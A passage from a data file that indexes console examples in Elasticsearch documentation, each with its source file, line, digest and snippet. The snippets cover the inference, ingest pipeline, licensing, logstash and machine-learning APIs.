_inference/rerank/cohere_rerank\n{\n \"input\": [\"luke\", \"like\", \"leia\", \"chewy\",\"r2d2\", \"star\", \"wars\"],\n \"query\": \"star wars main character\"\n}"}, {"source_location":{"file":"inference/post-inference.asciidoc","line":146},"digest":"fca61f8c1d838d8594e3f07f99a9f90d","lang":"console-result","found":[],"source":"{\n \"rerank\": [\n {\n \"index\": \"2\",\n \"relevance_score\": \"0.011597361\",\n \"text\": \"leia\"\n },\n {\n \"index\": \"0\",\n \"relevance_score\": \"0.006338922\",\n \"text\": \"luke\"\n },\n {\n \"index\": \"5\",\n \"relevance_score\": \"0.0016166499\",\n \"text\": \"star\"\n },\n {\n \"index\": \"4\",\n \"relevance_score\": \"0.0011695103\",\n \"text\": \"r2d2\"\n },\n {\n \"index\": \"1\",\n \"relevance_score\": \"5.614787E-4\",\n \"text\": \"like\"\n },\n {\n \"index\": \"6\",\n \"relevance_score\": \"3.7850367E-4\",\n \"text\": \"wars\"\n },\n {\n \"index\": \"3\",\n \"relevance_score\": \"1.2508839E-5\",\n \"text\": \"chewy\"\n }\n ]\n}"}, {"source_location":{"file":"inference/post-inference.asciidoc","line":197},"digest":"13ecdf99114098c76b050397d9c3d4e6","lang":"console","found":["python","ruby"],"source":"POST _inference/sparse_embedding/my-elser-model\n{\n \"input\": \"The sky above the port was the color of television tuned to a dead channel.\"\n}"}, {"source_location":{"file":"inference/post-inference.asciidoc","line":210},"digest":"272a42202173d1e45101eceecc771d9f","lang":"console-result","found":[],"source":"{\n \"sparse_embedding\": [\n {\n \"port\": 2.1259406,\n \"sky\": 1.7073475,\n \"color\": 1.6922266,\n \"dead\": 1.6247464,\n \"television\": 1.3525393,\n \"above\": 1.2425821,\n \"tuned\": 1.1440028,\n \"colors\": 1.1218185,\n \"tv\": 1.0111054,\n \"ports\": 1.0067928,\n \"poem\": 1.0042328,\n \"channel\": 0.99471164,\n \"tune\": 0.96235967,\n \"scene\": 0.9020516,\n (...)\n },\n (...)\n ]\n}"}, {"source_location":{"file":"inference/put-inference.asciidoc","line":289},"digest":"9a203aae3e1412d919546276fb52a5ca","lang":"console","found":["python"],"source":"PUT _inference/text_embedding/cohere-embeddings\n{\n \"service\": \"cohere\",\n \"service_settings\": {\n \"api_key\": \"\",\n \"model_id\": \"embed-english-light-v3.0\",\n \"embedding_type\": \"byte\"\n }\n}"}, {"source_location":{"file":"inference/put-inference.asciidoc","line":307},"digest":"8619bd17bbfe33490b1f277007f654db","lang":"console","found":[],"source":"PUT _inference/rerank/cohere-rerank\n{\n \"service\": \"cohere\",\n \"service_settings\": {\n \"api_key\": \"\",\n \"model_id\": \"rerank-english-v3.0\"\n },\n \"task_settings\": {\n \"top_n\": 10,\n \"return_documents\": true\n }\n}"}, {"source_location":{"file":"inference/put-inference.asciidoc","line":335},"digest":"00fea15cbca83be9d5f1a024ff2ec708","lang":"console","found":["python"],"source":"PUT _inference/text_embedding/my-e5-model\n{\n \"service\": \"elasticsearch\",\n \"service_settings\": {\n \"num_allocations\": 1,\n \"num_threads\": 1,\n \"model_id\": \".multilingual-e5-small\" <1>\n }\n}"}, {"source_location":{"file":"inference/put-inference.asciidoc","line":360},"digest":"cedb56a71cc743d80263ce352bb21720","lang":"console","found":["python"],"source":"PUT _inference/sparse_embedding/my-elser-model\n{\n \"service\": \"elser\",\n \"service_settings\": {\n \"num_allocations\": 1,\n \"num_threads\": 1\n }\n}"}, {"source_location":{"file":"inference/put-inference.asciidoc","line":376},"digest":"85eb7282ac0193478132d3de11f3ffec","lang":"console-result","found":[],"source":"{\n \"inference_id\": \"my-elser-model\",\n \"task_type\": \"sparse_embedding\",\n \"service\": \"elser\",\n \"service_settings\": {\n \"num_allocations\": 1,\n \"num_threads\": 1\n },\n \"task_settings\": {}\n}"}, {"source_location":{"file":"inference/put-inference.asciidoc","line":399},"digest":"eee6110831c08b9c1b3f56b24656e95b","lang":"console","found":["python"],"source":"PUT _inference/text_embedding/hugging-face-embeddings\n{\n \"service\": \"hugging_face\",\n \"service_settings\": {\n \"api_key\": \"\", <1>\n \"url\": \"\" <2>\n }\n}"}, {"source_location":{"file":"inference/put-inference.asciidoc","line":442},"digest":"10c3fe2265bb34964bd1005f9da66773","lang":"console","found":["python"],"source":"PUT _inference/text_embedding/my-msmarco-minilm-model\n{\n \"service\": \"elasticsearch\",\n \"service_settings\": {\n \"num_allocations\": 1,\n \"num_threads\": 1,\n \"model_id\": \"msmarco-MiniLM-L12-cos-v5\" <1>\n }\n}"}, {"source_location":{"file":"inference/put-inference.asciidoc","line":467},"digest":"9f16fca9813304e398ee052aa857dbcd","lang":"console","found":[],"source":"PUT _inference/text_embedding/openai-embeddings\n{\n \"service\": \"openai\",\n \"service_settings\": {\n \"api_key\": \"\",\n \"model_id\": \"text-embedding-ada-002\"\n }\n}"}, {"source_location":{"file":"inference/put-inference.asciidoc","line":483},"digest":"59d736a4d064ed2013c7ead8e32e0998","lang":"console","found":[],"source":"PUT _inference/completion/openai-completion\n{\n \"service\": \"openai\",\n \"service_settings\": {\n \"api_key\": \"\",\n \"model_id\": \"gpt-3.5-turbo\"\n }\n}"}, {"source_location":{"file":"rest-api/info.asciidoc","line":51},"digest":"9054187cbab5c9e1c4ca2a4dba6a5db0","lang":"console","found":["ruby"],"source":"GET /_xpack"}, {"source_location":{"file":"rest-api/info.asciidoc","line":58},"digest":"46c70b24d44f687cf1c28fe226880939","lang":"console-result","found":[],"source":"{\n \"build\" : {\n \"hash\" : \"2798b1a3ce779b3611bb53a0082d4d741e4d3168\",\n \"date\" : \"2015-04-07T13:34:42Z\"\n },\n \"license\" : {\n \"uid\" : \"893361dc-9749-4997-93cb-xxx\",\n \"type\" : \"trial\",\n \"mode\" : \"trial\",\n \"status\" : \"active\",\n \"expiry_date_in_millis\" : 1542665112332\n },\n \"features\" : {\n \"ccr\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"aggregate_metric\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"analytics\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"archive\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"enrich\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"frozen_indices\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"graph\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"ilm\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"logstash\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"ml\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"esql\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"monitoring\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"rollup\": {\n \"available\": true,\n \"enabled\": true\n },\n \"searchable_snapshots\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"security\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"slm\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"spatial\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"eql\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"sql\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"transform\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"voting_only\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"watcher\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"data_streams\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"data_tiers\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"enterprise_search\": {\n \"available\": true,\n \"enabled\": true\n },\n \"universal_profiling\": {\n \"available\": true,\n \"enabled\": true\n }\n },\n \"tagline\" : \"You know, for X\"\n}"}, {"source_location":{"file":"rest-api/info.asciidoc","line":193},"digest":"b11a0675e49df0709be693297ca73a2c","lang":"console","found":["ruby"],"source":"GET /_xpack?categories=build,features"}, {"source_location":{"file":"rest-api/info.asciidoc","line":200},"digest":"4ed946065faa92f9950f04e402676a97","lang":"console","found":["ruby"],"source":"GET /_xpack?human=false"}, {"source_location":{"file":"ingest/apis/put-pipeline.asciidoc","line":11},"digest":"6689aa213884196b47a6f482d4993749","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/my-pipeline-id\n{\n \"description\" : \"My optional pipeline description\",\n \"processors\" : [\n {\n \"set\" : {\n \"description\" : \"My optional processor description\",\n \"field\": \"my-keyword-field\",\n \"value\": \"foo\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/apis/put-pipeline.asciidoc","line":120},"digest":"04d6ce0c903bd468afbecd3aa1c4a78a","lang":"console","found":["ruby"],"source":"PUT /_ingest/pipeline/my-pipeline-id\n{\n \"description\" : \"My optional pipeline description\",\n \"processors\" : [\n {\n \"set\" : {\n \"description\" : \"My optional processor description\",\n \"field\": \"my-keyword-field\",\n \"value\": \"foo\"\n }\n }\n ],\n \"_meta\": {\n \"reason\": \"set my-keyword-field to foo\",\n \"serialization\": {\n \"class\": \"MyPipeline\",\n \"id\": 10\n }\n }\n}"}, {"source_location":{"file":"ingest/apis/delete-pipeline.asciidoc","line":28},"digest":"dff61a76d5ef9ca8cbe59a416269a84b","lang":"console","found":["ruby"],"source":"DELETE /_ingest/pipeline/my-pipeline-id"}, {"source_location":{"file":"ingest/apis/delete-pipeline.asciidoc","line":73},"digest":"a7cf31f4b907e4c00132aca75f55790c","lang":"console","found":["ruby"],"source":"DELETE /_ingest/pipeline/pipeline-one"}, {"source_location":{"file":"ingest/apis/delete-pipeline.asciidoc","line":82},"digest":"c6b5c695a9b757b5e7325345b206bde5","lang":"console","found":["ruby"],"source":"DELETE /_ingest/pipeline/pipeline-*"}, {"source_location":{"file":"ingest/apis/delete-pipeline.asciidoc","line":91},"digest":"11e772ff5dbb73408ae30a1a367a0d9b","lang":"console","found":["ruby"],"source":"DELETE /_ingest/pipeline/*"}, {"source_location":{"file":"ingest/apis/geoip-stats-api.asciidoc","line":11},"digest":"9af44592fb2e78fb17ad3e834bbef7a7","lang":"console","found":["ruby"],"source":"GET _ingest/geoip/stats"}, {"source_location":{"file":"ingest/apis/get-pipeline.asciidoc","line":30},"digest":"6a3a86ff58e5f20950d429cf2832c229","lang":"console","found":["ruby"],"source":"GET /_ingest/pipeline/my-pipeline-id"}, {"source_location":{"file":"ingest/apis/get-pipeline.asciidoc","line":76},"digest":"6a3a86ff58e5f20950d429cf2832c229","lang":"console","found":["ruby"],"source":"GET /_ingest/pipeline/my-pipeline-id"}, {"source_location":{"file":"ingest/apis/get-pipeline.asciidoc","line":84},"digest":"82161823bc1112102b52bbb836311b94","lang":"console-result","found":[],"source":"{\n \"my-pipeline-id\" : {\n \"description\" : \"describe pipeline\",\n \"version\" : 123,\n \"processors\" : [\n {\n \"set\" : {\n \"field\" : \"foo\",\n \"value\" : \"bar\"\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"ingest/apis/simulate-pipeline.asciidoc","line":31},"digest":"67ffa135c50c43d6788636c88078c7d1","lang":"console","found":[],"source":"POST /_ingest/pipeline/my-pipeline-id/_simulate\n{\n \"docs\": [\n {\n \"_index\": \"index\",\n \"_id\": \"id\",\n \"_source\": {\n \"foo\": \"bar\"\n }\n },\n {\n \"_index\": \"index\",\n \"_id\": \"id\",\n \"_source\": {\n \"foo\": \"rab\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/apis/simulate-pipeline.asciidoc","line":150},"digest":"67ffa135c50c43d6788636c88078c7d1","lang":"console","found":[],"source":"POST /_ingest/pipeline/my-pipeline-id/_simulate\n{\n \"docs\": [\n {\n \"_index\": \"index\",\n \"_id\": \"id\",\n \"_source\": {\n \"foo\": \"bar\"\n }\n },\n {\n \"_index\": \"index\",\n \"_id\": \"id\",\n \"_source\": {\n \"foo\": \"rab\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/apis/simulate-pipeline.asciidoc","line":175},"digest":"a9bc8b084309ca06fee316df844ab975","lang":"console-result","found":[],"source":"{\n \"docs\": [\n {\n \"doc\": {\n \"_id\": \"id\",\n \"_index\": \"index\",\n \"_version\": \"-3\",\n \"_source\": {\n \"field2\": \"_value\",\n \"foo\": \"bar\"\n },\n \"_ingest\": {\n \"timestamp\": \"2017-05-04T22:30:03.187Z\"\n }\n }\n },\n {\n \"doc\": {\n \"_id\": \"id\",\n \"_index\": \"index\",\n \"_version\": \"-3\",\n \"_source\": {\n \"field2\": \"_value\",\n \"foo\": \"rab\"\n },\n \"_ingest\": {\n \"timestamp\": \"2017-05-04T22:30:03.188Z\"\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/apis/simulate-pipeline.asciidoc","line":217},"digest":"17c2b0a6b0305804ff3b7fd3b4a68df3","lang":"console","found":["ruby"],"source":"POST /_ingest/pipeline/_simulate\n{\n \"pipeline\" :\n {\n \"description\": \"_description\",\n \"processors\": [\n {\n \"set\" : {\n \"field\" : \"field2\",\n \"value\" : \"_value\"\n }\n }\n ]\n },\n \"docs\": [\n {\n \"_index\": \"index\",\n \"_id\": \"id\",\n \"_source\": {\n \"foo\": \"bar\"\n }\n },\n {\n \"_index\": \"index\",\n \"_id\": \"id\",\n \"_source\": {\n \"foo\": \"rab\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/apis/simulate-pipeline.asciidoc","line":254},"digest":"a9bc8b084309ca06fee316df844ab975","lang":"console-result","found":[],"source":"{\n \"docs\": [\n {\n \"doc\": {\n \"_id\": \"id\",\n \"_index\": \"index\",\n \"_version\": \"-3\",\n \"_source\": {\n \"field2\": \"_value\",\n \"foo\": \"bar\"\n },\n \"_ingest\": {\n \"timestamp\": \"2017-05-04T22:30:03.187Z\"\n }\n }\n },\n {\n \"doc\": {\n \"_id\": \"id\",\n \"_index\": \"index\",\n \"_version\": \"-3\",\n \"_source\": {\n \"field2\": \"_value\",\n \"foo\": \"rab\"\n },\n \"_ingest\": {\n \"timestamp\": \"2017-05-04T22:30:03.188Z\"\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/apis/simulate-pipeline.asciidoc","line":303},"digest":"a3a64d568fe93a22b042a8b31b9905b0","lang":"console","found":["ruby"],"source":"POST /_ingest/pipeline/_simulate?verbose=true\n{\n \"pipeline\" :\n {\n \"description\": \"_description\",\n \"processors\": [\n {\n \"set\" : {\n \"field\" : \"field2\",\n \"value\" : \"_value2\"\n }\n },\n {\n \"set\" : {\n \"field\" : \"field3\",\n \"value\" : \"_value3\"\n }\n }\n ]\n },\n \"docs\": [\n {\n \"_index\": \"index\",\n \"_id\": \"id\",\n \"_source\": {\n \"foo\": \"bar\"\n }\n },\n {\n \"_index\": \"index\",\n \"_id\": \"id\",\n \"_source\": {\n \"foo\": \"rab\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/apis/simulate-pipeline.asciidoc","line":346},"digest":"5b212b84aaef524960c835a7d937eeb9","lang":"console-result","found":[],"source":"{\n \"docs\" : [\n {\n \"processor_results\" : [\n {\n \"processor_type\" : \"set\",\n \"status\" : \"success\",\n \"doc\" : {\n \"_index\" : \"index\",\n \"_id\" : \"id\",\n \"_version\": \"-3\",\n \"_source\" : {\n \"field2\" : \"_value2\",\n \"foo\" : \"bar\"\n },\n \"_ingest\" : {\n \"pipeline\" : \"_simulate_pipeline\",\n \"timestamp\" : \"2020-07-30T01:21:24.251836Z\"\n }\n }\n },\n {\n \"processor_type\" : \"set\",\n \"status\" : \"success\",\n \"doc\" : {\n \"_index\" : \"index\",\n \"_id\" : \"id\",\n \"_version\": \"-3\",\n \"_source\" : {\n \"field3\" : \"_value3\",\n \"field2\" : \"_value2\",\n \"foo\" : \"bar\"\n },\n \"_ingest\" : {\n \"pipeline\" : \"_simulate_pipeline\",\n \"timestamp\" : \"2020-07-30T01:21:24.251836Z\"\n }\n }\n }\n ]\n },\n {\n \"processor_results\" : [\n {\n \"processor_type\" : \"set\",\n \"status\" : \"success\",\n \"doc\" : {\n \"_index\" : \"index\",\n \"_id\" : \"id\",\n \"_version\": \"-3\",\n \"_source\" : {\n \"field2\" : \"_value2\",\n \"foo\" : \"rab\"\n },\n \"_ingest\" : {\n \"pipeline\" : \"_simulate_pipeline\",\n \"timestamp\" : \"2020-07-30T01:21:24.251863Z\"\n }\n }\n },\n {\n \"processor_type\" : \"set\",\n \"status\" : \"success\",\n \"doc\" : {\n \"_index\" : \"index\",\n \"_id\" : \"id\",\n \"_version\": \"-3\",\n \"_source\" : {\n \"field3\" : \"_value3\",\n \"field2\" : \"_value2\",\n \"foo\" : \"rab\"\n },\n \"_ingest\" : {\n \"pipeline\" : \"_simulate_pipeline\",\n \"timestamp\" : \"2020-07-30T01:21:24.251863Z\"\n }\n }\n }\n ]\n }\n ]\n}"}, {"source_location":{"file":"ingest/apis/simulate-ingest.asciidoc","line":56},"digest":"7c8f207e43115ea8f20d2298be5aaebc","lang":"console","found":["ruby"],"source":"POST /_ingest/_simulate\n{\n \"docs\": [\n {\n \"_index\": \"my-index\",\n \"_id\": \"id\",\n \"_source\": {\n \"foo\": \"bar\"\n }\n },\n {\n \"_index\": \"my-index\",\n \"_id\": \"id\",\n \"_source\": {\n \"foo\": \"rab\"\n }\n }\n ],\n \"pipeline_substitutions\": { <1>\n \"my-pipeline\": {\n \"processors\": [\n {\n \"set\": {\n \"field\": \"field3\",\n \"value\": \"value3\"\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"ingest/apis/simulate-ingest.asciidoc","line":201},"digest":"19c00c6b29bc7dbc5e92b3668da2da93","lang":"console","found":["ruby"],"source":"POST /_ingest/_simulate\n{\n \"docs\": [\n {\n \"_index\": \"my-index\",\n \"_id\": \"123\",\n \"_source\": {\n \"foo\": \"bar\"\n }\n },\n {\n \"_index\": \"my-index\",\n \"_id\": \"456\",\n \"_source\": {\n \"foo\": \"rab\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/apis/simulate-ingest.asciidoc","line":226},"digest":"ba579829ea2427c12ac06ecc79656948","lang":"console-result","found":[],"source":"{\n \"docs\": [\n {\n \"doc\": {\n \"_id\": \"123\",\n \"_index\": \"my-index\",\n \"_version\": -3,\n \"_source\": {\n \"field1\": \"value1\",\n \"field2\": \"value2\",\n \"foo\": \"bar\"\n },\n \"executed_pipelines\": [\n \"my-pipeline\",\n \"my-final-pipeline\"\n ]\n }\n },\n {\n \"doc\": {\n \"_id\": \"456\",\n \"_index\": \"my-index\",\n \"_version\": -3,\n \"_source\": {\n \"field1\": \"value1\",\n \"field2\": \"value2\",\n \"foo\": \"rab\"\n },\n \"executed_pipelines\": [\n \"my-pipeline\",\n \"my-final-pipeline\"\n ]\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/apis/simulate-ingest.asciidoc","line":274},"digest":"bcdfaa4487747249699a86a0dcd22f5e","lang":"console","found":["ruby"],"source":"POST /_ingest/_simulate\n{\n \"docs\": [\n {\n \"_index\": \"my-index\",\n \"_id\": \"123\",\n \"_source\": {\n \"foo\": \"bar\"\n }\n },\n {\n \"_index\": \"my-index\",\n \"_id\": \"456\",\n \"_source\": {\n \"foo\": \"rab\"\n }\n }\n ],\n \"pipeline_substitutions\": {\n \"my-pipeline\": {\n \"processors\": [\n {\n \"uppercase\": {\n \"field\": \"foo\"\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"ingest/apis/simulate-ingest.asciidoc","line":310},"digest":"6e013ecf5dacf18e02ba1a6d11d09cc8","lang":"console-result","found":[],"source":"{\n \"docs\": [\n {\n \"doc\": {\n \"_id\": \"123\",\n \"_index\": \"my-index\",\n \"_version\": -3,\n \"_source\": {\n \"field2\": \"value2\",\n \"foo\": \"BAR\"\n },\n \"executed_pipelines\": [\n \"my-pipeline\",\n \"my-final-pipeline\"\n ]\n }\n },\n {\n \"doc\": {\n \"_id\": \"456\",\n \"_index\": \"my-index\",\n \"_version\": -3,\n \"_source\": {\n \"field2\": \"value2\",\n \"foo\": \"RAB\"\n },\n \"executed_pipelines\": [\n \"my-pipeline\",\n \"my-final-pipeline\"\n ]\n }\n }\n ]\n}"}, {"source_location":{"file":"licensing/delete-license.asciidoc","line":37},"digest":"4f8a4ad49e2bca6784c88ede18a1a709","lang":"console","found":["ruby"],"source":"DELETE /_license"}, {"source_location":{"file":"licensing/get-license.asciidoc","line":56},"digest":"11c395d1649733bcab853fe31ec393b2","lang":"console","found":["ruby"],"source":"GET /_license"}, {"source_location":{"file":"licensing/get-license.asciidoc","line":61},"digest":"a151a5db7e5b65046743be37fd9a02e9","lang":"console-result","found":[],"source":"{\n \"license\" : {\n \"status\" : \"active\",\n \"uid\" : \"cbff45e7-c553-41f7-ae4f-9205eabd80xx\",\n \"type\" : \"trial\",\n \"issue_date\" : \"2018-10-20T22:05:12.332Z\",\n \"issue_date_in_millis\" : 1540073112332,\n \"expiry_date\" : \"2018-11-19T22:05:12.332Z\",\n \"expiry_date_in_millis\" : 1542665112332,\n \"max_nodes\" : 1000,\n \"max_resource_units\" : null,\n \"issued_to\" : \"test\",\n \"issuer\" : \"elasticsearch\",\n \"start_date_in_millis\" : -1\n }\n}"}, {"source_location":{"file":"licensing/get-trial-status.asciidoc","line":40},"digest":"88cf60d3310a56d8ae12704abc05b565","lang":"console","found":["ruby"],"source":"GET /_license/trial_status"}, {"source_location":{"file":"licensing/get-trial-status.asciidoc","line":47},"digest":"cd83a052bf4f1fe11413e7aa51e5b9a5","lang":"console-result","found":[],"source":"{\n \"eligible_to_start_trial\": true\n}"}, {"source_location":{"file":"licensing/start-trial.asciidoc","line":44},"digest":"37f1f2e75ed95308ae436bbbb8d5645e","lang":"console","found":["ruby"],"source":"POST /_license/start_trial?acknowledge=true"}, {"source_location":{"file":"licensing/get-basic-status.asciidoc","line":35},"digest":"f92d2f5018a8843ffbb56ade15f84406","lang":"console","found":["ruby"],"source":"GET /_license/basic_status"}, {"source_location":{"file":"licensing/get-basic-status.asciidoc","line":42},"digest":"7539f49762b2e372c275d0d061009d19","lang":"console-result","found":[],"source":"{\n \"eligible_to_start_basic\": true\n}"}, {"source_location":{"file":"licensing/start-basic.asciidoc","line":42},"digest":"8699d35269a47ba867fa8cc766287413","lang":"console","found":["ruby"],"source":"POST /_license/start_basic"}, {"source_location":{"file":"licensing/start-basic.asciidoc","line":62},"digest":"f58fd031597e2c3df78bf0efd07206e3","lang":"console","found":["ruby"],"source":"POST /_license/start_basic?acknowledge=true"}, {"source_location":{"file":"licensing/update-license.asciidoc","line":63},"digest":"85f2839beeb71edb66988e5c82188be0","lang":"console","found":[],"source":"PUT _license\n{\n \"licenses\": [\n {\n \"uid\":\"893361dc-9749-4997-93cb-802e3d7fa4xx\",\n \"type\":\"basic\",\n \"issue_date_in_millis\":1411948800000,\n \"expiry_date_in_millis\":1914278399999,\n \"max_nodes\":1,\n \"issued_to\":\"issuedTo\",\n \"issuer\":\"issuer\",\n \"signature\":\"xx\"\n }\n ]\n}"}, {"source_location":{"file":"licensing/update-license.asciidoc","line":139},"digest":"46b1c1f6e0c86528be84c373eeb8d425","lang":"console","found":[],"source":"PUT _license?acknowledge=true\n{\n \"licenses\": [\n {\n \"uid\":\"893361dc-9749-4997-93cb-802e3d7fa4xx\",\n \"type\":\"basic\",\n \"issue_date_in_millis\":1411948800000,\n \"expiry_date_in_millis\":1914278399999,\n \"max_nodes\":1,\n \"issued_to\":\"issuedTo\",\n \"issuer\":\"issuer\",\n \"signature\":\"xx\"\n }\n ]\n}"}, {"source_location":{"file":"rest-api/logstash/put-pipeline.asciidoc","line":74},"digest":"8b301122cbf42be6eafeda714a36559e","lang":"console","found":["ruby"],"source":"PUT _logstash/pipeline/my_pipeline\n{\n \"description\": \"Sample pipeline for illustration purposes\",\n \"last_modified\": \"2021-01-02T02:50:51.250Z\",\n \"pipeline_metadata\": {\n \"type\": \"logstash_pipeline\",\n \"version\": \"1\"\n },\n \"username\": \"elastic\",\n \"pipeline\": \"input {}\\n filter { grok {} }\\n output {}\",\n \"pipeline_settings\": {\n \"pipeline.workers\": 1,\n \"pipeline.batch.size\": 125,\n \"pipeline.batch.delay\": 50,\n \"queue.type\": \"memory\",\n \"queue.max_bytes\": \"1gb\",\n \"queue.checkpoint.writes\": 1024\n }\n}"}, {"source_location":{"file":"rest-api/logstash/delete-pipeline.asciidoc","line":67},"digest":"5afbd9caed88c32f8a2968c07054f096","lang":"console","found":["ruby"],"source":"DELETE _logstash/pipeline/my_pipeline"}, {"source_location":{"file":"rest-api/logstash/get-pipeline.asciidoc","line":69},"digest":"6f855bc92b4cc6e6a63f95bce1cb4441","lang":"console","found":["ruby"],"source":"GET _logstash/pipeline/my_pipeline"}, {"source_location":{"file":"rest-api/logstash/get-pipeline.asciidoc","line":78},"digest":"617ee295760e58c507a47b30389d87bd","lang":"console-result","found":[],"source":"{\n \"my_pipeline\": {\n \"description\": \"Sample pipeline for illustration purposes\",\n \"last_modified\": \"2021-01-02T02:50:51.250Z\",\n \"pipeline_metadata\": {\n \"type\": \"logstash_pipeline\",\n \"version\": \"1\"\n },\n \"username\": \"elastic\",\n \"pipeline\": \"input {}\\n filter { grok {} }\\n output {}\",\n \"pipeline_settings\": {\n \"pipeline.workers\": 1,\n \"pipeline.batch.size\": 125,\n \"pipeline.batch.delay\": 50,\n \"queue.type\": \"memory\",\n \"queue.max_bytes\": \"1gb\",\n \"queue.checkpoint.writes\": 1024\n }\n }\n}"}, {"source_location":{"file":"ml/common/apis/get-ml-info.asciidoc","line":38},"digest":"4d7c0b52d3c0a084157428624c543c90","lang":"console","found":["ruby"],"source":"GET _ml/info"}, {"source_location":{"file":"ml/common/apis/get-ml-info.asciidoc","line":46},"digest":"246c2fe559c45d32a9efc0be7b35ccb1","lang":"console-result","found":[],"source":"{\n \"defaults\" : {\n \"anomaly_detectors\" : {\n \"categorization_analyzer\" : {\n \"char_filter\" : [\n \"first_line_with_letters\"\n ],\n \"tokenizer\" : \"ml_standard\",\n \"filter\" : [\n {\n \"type\" : \"stop\",\n \"stopwords\" : [\n \"Monday\",\n \"Tuesday\",\n \"Wednesday\",\n \"Thursday\",\n \"Friday\",\n \"Saturday\",\n \"Sunday\",\n \"Mon\",\n \"Tue\",\n \"Wed\",\n \"Thu\",\n \"Fri\",\n \"Sat\",\n \"Sun\",\n \"January\",\n \"February\",\n \"March\",\n \"April\",\n \"May\",\n \"June\",\n \"July\",\n \"August\",\n \"September\",\n \"October\",\n \"November\",\n \"December\",\n \"Jan\",\n \"Feb\",\n \"Mar\",\n \"Apr\",\n \"May\",\n \"Jun\",\n \"Jul\",\n \"Aug\",\n \"Sep\",\n \"Oct\",\n \"Nov\",\n \"Dec\",\n \"GMT\",\n \"UTC\"\n ]\n },\n {\n \"type\": \"limit\",\n \"max_token_count\": \"100\"\n }\n ]\n },\n \"model_memory_limit\" : \"1gb\",\n \"categorization_examples_limit\" : 4,\n \"model_snapshot_retention_days\" : 10,\n \"daily_model_snapshot_retention_after_days\" : 1\n },\n \"datafeeds\" : {\n \"scroll_size\" : 1000\n }\n },\n \"upgrade_mode\": false,\n \"native_code\" : {\n \"version\": \"7.0.0\",\n \"build_hash\": \"99a07c016d5a73\"\n },\n \"limits\" : {\n \"effective_max_model_memory_limit\": \"28961mb\",\n \"total_ml_memory\": \"86883mb\",\n \"total_ml_processors\": 16,\n \"max_single_ml_node_processors\": 16\n }\n}"}, {"source_location":{"file":"ml/common/apis/get-ml-memory.asciidoc","line":228},"digest":"6061aadb3b870791278212d1e8f52b39","lang":"console","found":["ruby"],"source":"GET _ml/memory/_stats?human"}, {"source_location":{"file":"ml/common/apis/get-ml-memory.asciidoc","line":236},"digest":"3f38aaa57d8648347aa857768df6b961","lang":"console-result","found":[],"source":"{\n \"_nodes\": {\n \"total\": 1,\n \"successful\": 1,\n \"failed\": 0\n },\n \"cluster_name\": \"my_cluster\",\n \"nodes\": {\n \"pQHNt5rXTTWNvUgOrdynKg\": {\n \"name\": \"node-0\",\n \"ephemeral_id\": \"ITZ6WGZnSqqeT_unfit2SQ\",\n \"transport_address\": \"127.0.0.1:9300\",\n \"attributes\": {\n \"ml.machine_memory\": \"68719476736\",\n \"ml.max_jvm_size\": \"536870912\"\n },\n \"roles\": [\n \"data\",\n \"data_cold\",\n \"data_content\",\n \"data_frozen\",\n \"data_hot\",\n \"data_warm\",\n \"ingest\",\n \"master\",\n \"ml\",\n \"remote_cluster_client\",\n \"transform\"\n ],\n \"mem\": {\n \"total\": \"64gb\",\n \"total_in_bytes\": 68719476736,\n \"adjusted_total\": \"64gb\",\n \"adjusted_total_in_bytes\": 68719476736,\n \"ml\": {\n \"max\": \"19.1gb\",\n \"max_in_bytes\": 20615843020,\n \"native_code_overhead\": \"0b\",\n \"native_code_overhead_in_bytes\": 0,\n \"anomaly_detectors\": \"0b\",\n \"anomaly_detectors_in_bytes\": 0,\n \"data_frame_analytics\": \"0b\",\n \"data_frame_analytics_in_bytes\": 0,\n \"native_inference\": \"0b\",\n \"native_inference_in_bytes\": 0\n }\n },\n \"jvm\": {\n \"heap_max\": \"512mb\",\n \"heap_max_in_bytes\": 536870912,\n \"java_inference_max\": \"204.7mb\",\n \"java_inference_max_in_bytes\": 214748364,\n \"java_inference\": \"0b\",\n \"java_inference_in_bytes\": 0\n }\n }\n }\n}"}, {"source_location":{"file":"ml/common/apis/set-upgrade-mode.asciidoc","line":74},"digest":"ae4aa368617637a390074535df86e64b","lang":"console","found":["ruby"],"source":"POST _ml/set_upgrade_mode?enabled=true&timeout=10m"}, {"source_location":{"file":"ml/common/apis/set-upgrade-mode.asciidoc","line":81},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, 